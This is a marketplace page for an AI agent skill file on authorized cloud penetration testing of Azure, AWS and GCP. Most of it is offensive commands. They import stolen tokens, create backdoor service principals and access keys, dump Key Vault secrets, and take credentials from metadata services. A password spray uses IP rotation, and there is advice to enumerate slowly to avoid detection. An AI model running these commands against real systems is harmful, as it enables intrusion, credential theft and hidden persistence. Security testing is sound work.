home / skills / jcastillotx / vibe-skeleton-app / cloud-penetration-testing

cloud-penetration-testing skill

This skill helps perform cloud penetration testing across Azure, AWS, and GCP, delivering comprehensive assessments, resource discovery, and remediation

This is most likely a fork of the cloud-penetration-testing skill from xfstudio

npx playbooks add skill jcastillotx/vibe-skeleton-app --skill cloud-penetration-testing

Review the files below or copy the command above to add this skill to your agents.

Files (2)

SKILL.md

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---
name: Cloud Penetration Testing
description: This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.
---

# Cloud Penetration Testing

## Purpose

Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.

## Prerequisites

### Required Tools
```bash
# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force

# AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install

# GCP CLI
curl https://sdk.cloud.google.com | bash
gcloud init

# Additional tools
pip install scoutsuite pacu
```

### Required Knowledge
- Cloud architecture fundamentals
- Identity and Access Management (IAM)
- API authentication mechanisms
- DevOps and automation concepts

### Required Access
- Written authorization for testing
- Test credentials or access tokens
- Defined scope and rules of engagement

## Outputs and Deliverables

1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings
2. **Resource Inventory** - Enumerated services, storage, and compute instances
3. **Credential Findings** - Exposed secrets, keys, and misconfigurations
4. **Remediation Recommendations** - Hardening guidance per platform

## Core Workflow

### Phase 1: Reconnaissance

Gather initial information about target cloud presence:

```bash
# Azure: Get federation info
curl "https://login.microsoftonline.com/[email protected]&xml=1"

# Azure: Get Tenant ID
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"

# Enumerate cloud resources by company name
python3 cloud_enum.py -k targetcompany

# Check IP against cloud providers
cat ips.txt | python3 ip2provider.py
```

### Phase 2: Azure Authentication

Authenticate to Azure environments:

```powershell
# Az PowerShell Module
Import-Module Az
Connect-AzAccount

# With credentials (may bypass MFA)
$credential = Get-Credential
Connect-AzAccount -Credential $credential

# Import stolen context
Import-AzContext -Profile 'C:\Temp\StolenToken.json'

# Export context for persistence
Save-AzContext -Path C:\Temp\AzureAccessToken.json

# MSOnline Module
Import-Module MSOnline
Connect-MsolService
```

### Phase 3: Azure Enumeration

Discover Azure resources and permissions:

```powershell
# List contexts and subscriptions
Get-AzContext -ListAvailable
Get-AzSubscription

# Current user role assignments
Get-AzRoleAssignment

# List resources
Get-AzResource
Get-AzResourceGroup

# Storage accounts
Get-AzStorageAccount

# Web applications
Get-AzWebApp

# SQL Servers and databases
Get-AzSQLServer
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG

# Virtual machines
Get-AzVM
$vm = Get-AzVM -Name "VMName"
$vm.OSProfile

# List all users
Get-MSolUser -All

# List all groups
Get-MSolGroup -All

# Global Admins
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember -GroupObjectId $GUID

# Service Principals
Get-MsolServicePrincipal
```

### Phase 4: Azure Exploitation

Exploit Azure misconfigurations:

```powershell
# Search user attributes for passwords
$users = Get-MsolUser -All
foreach($user in $users){
    $props = @()
    $user | Get-Member | foreach-object{$props+=$_.Name}
    foreach($prop in $props){
        if($user.$prop -like "*password*"){
            Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
        }
    }
}

# Execute commands on VMs
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1

# Extract VM UserData
$vms = Get-AzVM
$vms.UserData

# Dump Key Vault secrets
az keyvault list --query '[].name' --output tsv
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
az keyvault secret show --id <URI>
```

### Phase 5: Azure Persistence

Establish persistence in Azure:

```powershell
# Create backdoor service principal
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)

# Add service principal to Global Admin
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId

# Login as service principal
$cred = Get-Credential  # AppID as username, secret as password
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal

# Create new admin user via CLI
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>
```

### Phase 6: AWS Authentication

Authenticate to AWS environments:

```bash
# Configure AWS CLI
aws configure
# Enter: Access Key ID, Secret Access Key, Region, Output format

# Use specific profile
aws configure --profile target

# Test credentials
aws sts get-caller-identity
```

### Phase 7: AWS Enumeration

Discover AWS resources:

```bash
# Account information
aws sts get-caller-identity
aws iam list-users
aws iam list-roles

# S3 Buckets
aws s3 ls
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local-dir

# EC2 Instances
aws ec2 describe-instances

# RDS Databases
aws rds describe-db-instances --region us-east-1

# Lambda Functions
aws lambda list-functions --region us-east-1
aws lambda get-function --function-name <name>

# EKS Clusters
aws eks list-clusters --region us-east-1

# Networking
aws ec2 describe-subnets
aws ec2 describe-security-groups --group-ids <sg-id>
aws directconnect describe-connections
```

### Phase 8: AWS Exploitation

Exploit AWS misconfigurations:

```bash
# Check for public RDS snapshots
aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
# AttributeValues = "all" means publicly accessible

# Extract Lambda environment variables (may contain secrets)
aws lambda get-function --function-name <name> | jq '.Configuration.Environment'

# Access metadata service (from compromised EC2)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2 access
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
```

### Phase 9: AWS Persistence

Establish persistence in AWS:

```bash
# List existing access keys
aws iam list-access-keys --user-name <username>

# Create backdoor access key
aws iam create-access-key --user-name <username>

# Get all EC2 public IPs
for region in $(cat regions.txt); do
    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
done
```

### Phase 10: GCP Enumeration

Discover GCP resources:

```bash
# Authentication
gcloud auth login
gcloud auth activate-service-account --key-file creds.json
gcloud auth list

# Account information
gcloud config list
gcloud organizations list
gcloud projects list

# IAM Policies
gcloud organizations get-iam-policy <org-id>
gcloud projects get-iam-policy <project-id>

# Enabled services
gcloud services list

# Source code repos
gcloud source repos list
gcloud source repos clone <repo>

# Compute instances
gcloud compute instances list
gcloud beta compute ssh --zone "region" "instance" --project "project"

# Storage buckets
gsutil ls
gsutil ls -r gs://bucket-name
gsutil cp gs://bucket/file ./local

# SQL instances
gcloud sql instances list
gcloud sql databases list --instance <id>

# Kubernetes
gcloud container clusters list
gcloud container clusters get-credentials <cluster> --region <region>
kubectl cluster-info
```

### Phase 11: GCP Exploitation

Exploit GCP misconfigurations:

```bash
# Get metadata service data
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"

# Check access scopes
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'

# Decrypt data with keyring
gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global

# Serverless function analysis
gcloud functions list
gcloud functions describe <name>
gcloud functions logs read <name> --limit 100

# Find stored credentials
sudo find /home -name "credentials.db"
sudo cp -r /home/user/.config/gcloud ~/.config
gcloud auth list
```

## Quick Reference

### Azure Key Commands

| Action | Command |
|--------|---------|
| Login | `Connect-AzAccount` |
| List subscriptions | `Get-AzSubscription` |
| List users | `Get-MsolUser -All` |
| List groups | `Get-MsolGroup -All` |
| Current roles | `Get-AzRoleAssignment` |
| List VMs | `Get-AzVM` |
| List storage | `Get-AzStorageAccount` |
| Key Vault secrets | `az keyvault secret list --vault-name <name>` |

### AWS Key Commands

| Action | Command |
|--------|---------|
| Configure | `aws configure` |
| Caller identity | `aws sts get-caller-identity` |
| List users | `aws iam list-users` |
| List S3 buckets | `aws s3 ls` |
| List EC2 | `aws ec2 describe-instances` |
| List Lambda | `aws lambda list-functions` |
| Metadata | `curl http://169.254.169.254/latest/meta-data/` |

### GCP Key Commands

| Action | Command |
|--------|---------|
| Login | `gcloud auth login` |
| List projects | `gcloud projects list` |
| List instances | `gcloud compute instances list` |
| List buckets | `gsutil ls` |
| List clusters | `gcloud container clusters list` |
| IAM policy | `gcloud projects get-iam-policy <project>` |
| Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` |

### Metadata Service URLs

| Provider | URL |
|----------|-----|
| AWS | `http://169.254.169.254/latest/meta-data/` |
| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |
| GCP | `http://metadata.google.internal/computeMetadata/v1/` |

### Useful Tools

| Tool | Purpose |
|------|---------|
| ScoutSuite | Multi-cloud security auditing |
| Pacu | AWS exploitation framework |
| AzureHound | Azure AD attack path mapping |
| ROADTools | Azure AD enumeration |
| WeirdAAL | AWS service enumeration |
| MicroBurst | Azure security assessment |
| PowerZure | Azure post-exploitation |

## Constraints and Limitations

### Legal Requirements
- Only test with explicit written authorization
- Respect scope boundaries between cloud accounts
- Do not access production customer data
- Document all testing activities

### Technical Limitations
- MFA may prevent credential-based attacks
- Conditional Access policies may restrict access
- CloudTrail/Activity Logs record all API calls
- Some resources require specific regional access

### Detection Considerations
- Cloud providers log all API activity
- Unusual access patterns trigger alerts
- Use slow, deliberate enumeration
- Consider GuardDuty, Security Center, Cloud Armor

## Examples

### Example 1: Azure Password Spray

**Scenario:** Test Azure AD password policy

```powershell
# Using MSOLSpray with FireProx for IP rotation
# First create FireProx endpoint
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create

# Spray passwords
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox
```

### Example 2: AWS S3 Bucket Enumeration

**Scenario:** Find and access misconfigured S3 buckets

```bash
# List all buckets
aws s3 ls | awk '{print $3}' > buckets.txt

# Check each bucket for contents
while read bucket; do
    echo "Checking: $bucket"
    aws s3 ls s3://$bucket 2>/dev/null
done < buckets.txt

# Download interesting bucket
aws s3 sync s3://misconfigured-bucket ./loot/
```

### Example 3: GCP Service Account Compromise

**Scenario:** Pivot using compromised service account

```bash
# Authenticate with service account key
gcloud auth activate-service-account --key-file compromised-sa.json

# List accessible projects
gcloud projects list

# Enumerate compute instances
gcloud compute instances list --project target-project

# Check for SSH keys in metadata
gcloud compute project-info describe --project target-project | grep ssh

# SSH to instance
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project
```

## Troubleshooting

| Issue | Solutions |
|-------|-----------|
| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods |
| Permission denied | List current roles; try different resources; check resource policies; verify region |
| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |
| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |

## References

- [Advanced Cloud Scripts](references/advanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation

Overview

This skill performs comprehensive cloud penetration testing across Azure, AWS, and GCP. It guides authorized assessments from reconnaissance through exploitation and persistence, producing inventory, credential findings, and remediation recommendations. Use it to validate identity, resource, and configuration security in cloud-native environments.

How this skill works

The skill sequences phases: discovery of cloud presence, identity and API authentication testing, resource enumeration, misconfiguration exploitation, and persistence checks. It maps platform-specific commands and techniques for Azure, AWS, and GCP, plus metadata and serverless inspection methods. Deliverables include a resource inventory, detailed findings, and prioritized remediation steps.

When to use it

You need an authorized security assessment of Azure, AWS, or GCP environments.
To enumerate cloud resources and identify exposed storage, compute, and serverless assets.
When testing IAM, service principals, roles, and possible privilege escalation paths.
To validate detection and logging by exercising metadata, API, and abnormal access patterns.
To extract and report on exposed secrets, keys, or misconfigured data stores.

Best practices

Obtain explicit written authorization and define scope and rules of engagement before testing.
Use least-impact techniques first: passive discovery, read-only API calls, and rate limits to avoid disruption.
Log and timestamp all actions; capture evidence and reproduce findings for remediation guidance.
Respect MFA and conditional access; document cases where controls block techniques.
Coordinate with the cloud owner for safe exploitation of sensitive resources and cleanup of any persistence artifacts.

Example use cases

Azure assessment: enumerate subscriptions, list Key Vaults, check Role Assignments, and test service principal escalation paths.
AWS assessment: list IAM roles, check S3 bucket permissions, inspect Lambda environment variables, and query instance metadata (IMDSv1/v2).
GCP assessment: enumerate projects and service accounts, list storage buckets, inspect compute metadata and serverless functions.
Credential validation: test provided keys and tokens, confirm caller identity, and search for leaked secrets across resources.
Persistence check: create and validate backdoor service principal or access key only within agreed test environments and then remove them.

FAQ

Is written authorization required?

Yes. Only perform cloud penetration testing with explicit written authorization and a defined scope to avoid legal and operational risks.

Will these techniques affect production services?

Some active exploitation steps can impact services. Follow the engagement rules, use non-production targets when possible, and coordinate with owners before high-impact actions.